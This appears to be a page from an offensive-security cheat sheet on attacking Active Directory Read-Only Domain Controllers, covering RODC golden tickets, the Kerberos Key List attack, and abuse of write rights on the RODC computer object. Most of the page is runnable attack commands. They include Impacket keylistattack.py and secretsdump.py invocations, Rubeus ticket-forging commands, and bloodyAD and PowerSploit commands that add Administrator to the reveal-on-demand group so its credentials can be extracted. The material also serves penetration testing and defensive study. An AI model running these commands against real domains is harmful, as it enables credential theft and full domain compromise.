InternalAllTheThings/docs/active-directory/ad-adds-rodc.md

67 lines
3.4 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

# Active Directory - Read Only Domain Controller
RODCs are an alternative for Domain Controllers in less secure physical locations
- Contains a filtered copy of AD (LAPS and Bitlocker keys are excluded)
- Any user or group specified in the **managedBy** attribute of an RODC has local admin access to the RODC server
## RODC Golden Ticket
* You can forge an RODC golden ticket and present it to a writable Domain Controller only for principals listed in the RODCs **msDS-RevealOnDemandGroup** attribute and not in the RODCs **msDS-NeverRevealGroup** attribute
## RODC Key List Attack
**Requirements**:
* [Impacket PR #1210 - The Kerberos Key List Attack](https://github.com/SecureAuthCorp/impacket/pull/1210)
* **krbtgt** credentials of the RODC (-rodcKey)
* **ID of the krbtgt** account of the RODC (-rodcNo)
**Exploit**:
* using Impacket
```ps1
# keylistattack.py using SAMR user enumeration without filtering (-full flag)
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
# keylistattack.py defining a target username (-t flag)
keylistattack.py -kdc server.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST
# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
```
* Using Rubeus
```ps1
Rubeus.exe golden /rodcNumber:25078 /aes256:eacd894dd0d934e84de35860ce06a4fac591ca63c228ddc1c7a0ebbfa64c7545 /user:admin /id:1136 /domain:lab.local /sid:S-1-5-21-1437000690-1664695696-1586295871
Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/lab.local /dc:dc1.lab.local /ticket:doIFgzCC[...]wIBBxhYnM=
```
## RODC Computer Object
When you have one the following permissions to the RODC computer object: **GenericWrite**, **GenericAll**, **WriteDacl**, **Owns**, **WriteOwner**, **WriteProperty**.
* Add a domain admin account to the RODC's **msDS-RevealOnDemandGroup** attribute
* Windows/Linux:
```ps1
# Get original msDS-RevealOnDemandGroup values
bloodyAD --host 10.10.10.10 -d domain.local -u username -p pass123 get object 'RODC$' --attr msDS-RevealOnDemandGroup
distinguishedName: CN=RODC,CN=Computers,DC=domain,DC=local
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local
# Add the previous value plus the admin account
bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 set object 'RODC$' --attr msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' -v 'CN=Administrator,CN=Users,DC=domain,DC=local'
```
* Windows only:
```ps1
PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}
```
## References
* [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf](https://adsecurity.org/?p=3592)
* [At the Edge of Tier Zero: The Curious Case of the RODC - Elad Shamir](https://posts.specterops.io/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc-ef5f1799ca06)
* [The Kerberos Key List Attack: The return of the Read Only Domain Controllers - Leandro Cuozzo](https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/)